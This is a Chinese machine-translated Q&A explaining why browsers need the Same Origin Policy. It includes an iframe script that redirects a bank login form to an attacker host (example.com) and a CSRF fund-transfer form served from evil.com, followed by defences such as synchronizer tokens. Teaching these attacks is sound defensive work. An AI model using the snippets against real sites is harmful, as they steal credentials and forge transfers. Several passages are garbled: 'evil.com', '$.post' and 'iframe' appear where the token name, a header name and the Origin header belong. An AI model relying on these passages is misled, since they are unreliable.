为什么需要同源策略的简单示例

Question

我已经读到了Same Origin Policy,但是为了更好地理解这个问题:有人可以写一个简单的代码(用任何语言)来演示SOP停止的攻击吗？

在SOP出现之前怎么可能攻击某人？

Answer 1

<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>

Javascript代码更改了表单的操作属性(目的地,在发言方面),因此当您提交表单时,您将凭据发送给我,而不是您的银行.

如果我在我的服务器上设置了一个PHP脚本,将您重定向到您的银行,您甚至都不会注意到它.

使用同源策略,此攻击是不可能的.我网域上的网站无法读取或修改银行网站的内容.

Answer 2

简单攻击示例:跨站请求伪造(CSRF)

在evil.com攻击者的页面上(jQuery因为懒惰):

<form method="post" action="http://bank.com/trasfer">
    <input type="hidden" name="to" value="ciro">
    <input type="hidden" name="ammount" value="100000000">
    <input type="submit" value="CLICK TO CLAIM YOUR PRIZE!!!">
</form>

攻击者然后说服你访问bank.com(你获得了奖品!)

如果没有进一步的安全措施,这将起作用,因为bank.com将发送身份验证cookie 并对您进行身份验证.

另见:OWASP的CSRF.

主要安全措施:同步器令牌模式

用于上述问题的主要解决方案是:对于每个表单authenticity_token,生成一次性随机序列作为隐藏参数,并且仅在服务器获取参数时接受请求.

例如,Rails的HTML帮助器会自动向HTML添加一个evil.com参数,因此合法的表单如下所示:

<form action="http://bank.com/transfer" method="post">
  <p><input type="hidden" name="authenticity_token"
            value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
  <p><input type="hidden" name="to"      value="ciro"></p>
  <p><input type="hidden" name="ammount" value="100000000"></p>
  <p><button type="submit">Send 100000000$ to Ciro.</button></p>
</form>

因此,如果evil.com发出单个请求,他永远不会猜到该令牌,服务器会拒绝该事务.

但是,是什么阻止了evil.com2个请求:

1. XHR获取令牌
2. 包含好令牌的XHR POST

这是SOP发挥作用的地方:禁止第1步,因为它违反了SOP.SOP阻止您将交叉请求数据读回JavaScript.然而,第2步是完全可能的.

另请参阅:OWASP上的同步器令牌模式.

为什么不直接发送交叉请求cookie？

我问自己:但是如果实现有如下规则:"允许任何请求,但只在当前域XHR上发送cookie"会怎么样？

但这仍然允许另一种类型的攻击:当身份验证不基于cookie时,而是基于请求的源(IP).

例如,您在公司的Intranet中,从那里可以访问内部服务器,该服务器从外部看不到并提供机密数据.

是否所有跨域请求都被禁止？

甚至忘了CORS,不,我们每天都这样做!

来自MDN:

• 通常允许跨源写入:链接,重定向和表单提交.

• 通常允许跨源嵌入:图像,外部CSS和Javascript,iframe.

• 通常不允许跨源读取:XHR(上面的示例),$.get读取.

  但是,读取访问通常会通过嵌入泄漏.例如,您可以读取嵌入图像的宽度和高度,嵌入式脚本的操作或嵌入式资源的可用性(因此可能是用户登录或未登录到给定域)

其他预防方法

• 检查是否存在某些标题,例如$.post:
  • X-Requested-With标头有什么意义？
  • https://security.stackexchange.com/questions/23371/csrf-protection-with-custom-headers-and-without-validating-token
  • X-Requested-With标头服务器检查是否足以防止ajax驱动的应用程序的CSRF？
• 检查iframe标题的值:https://security.stackexchange.com/questions/91165/why-is-the-synchronizer-token-pattern-preferred-over-the-origin-header-check-to
• 重新认证:再次询问用户密码.这应该针对每个关键操作(银行登录和转移,大多数网站的密码更改)进行,以防您的网站获得XSSed.缺点是用户必须多次输入密码.

也可以看看:

• https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important
• 为什么XMLHttpRequest的原始策略相同